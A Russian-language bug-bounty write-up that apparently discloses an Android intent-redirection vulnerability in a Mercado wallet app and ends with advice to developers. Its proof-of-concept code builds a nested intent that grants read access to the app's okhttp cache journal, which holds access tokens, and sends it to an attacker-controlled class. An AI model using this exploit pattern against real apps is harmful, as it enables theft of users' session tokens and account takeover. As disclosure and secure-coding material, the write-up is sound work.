Получи случайную криптовалюту за регистрацию!

Intent intent = (Intent) SelectBankAccountActivity.this.getInt | Пост Импакта

Intent intent = (Intent) SelectBankAccountActivity.this.getIntent().getParcelableExtra("select_bank_next_intent_extra");
SelectBankAccountActivity.this.startActivity(intent);
SelectBankAccountActivity.this.finish();

Да, вашему взору предстала стандартная уязвимость когда используя злонамеренное намерение можно получить доступ к защищенным(не экспортированным) компонентам приложения. Смысл в том что приложение забирает из FlowState "объект" который может отправить злоумышленник, а потом запускает.

Ура! Теперь осталось составить PoC:

Intent next = new Intent("android.intent.action.VIEW");
next.setClassName(????)
//...
Intent intent = new Intent("android.intent.action.VIEW");
intent.putExtra("select_bank_next_intent_extra", next);
startActivity(intent);

Но в какую activity отправить злонамеренный intent от имени приложения, если все activity и так уже экспортированы?
Проявляя невероятную находчивость. Мне удалось найти внутри приложения кеш okhttp в котором хранились запросы с access_token.
Недолго думая, я наконец-то придумал содержимое для переменной next

Intent next = new Intent("android.intent.action.VIEW");
next.setClassName(getPackageName(),"com.myclass.Theft");
next.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
next.setData(Uri.parse("content://com.mercado.wallet.provider/images/okhttp/journal"));

Выставив уровень серьёзности High — получил ещё один, залуженный reward. И знаете, там ещё было с десяток таких activity, которые запускали вложенный intent.
Разработчики делали следующий фикс: они убирали запуск вложенного intent и ставили exported="false"
Но даже на 5 отчёте с этой уязвимостью, они не отключили кеш okhttp.

Подводя итоги, нужно найти тонкую грань, где начинается одна уязвимость и заканчивается вторая, чтобы правильно внести исправление.
Разработчики, не делайте такую архитектуру для приложений, не извлекайте из стороннего приложения ParcelableIntent для его последующего запуска. Надеюсь ваш код всегда будет безопасным!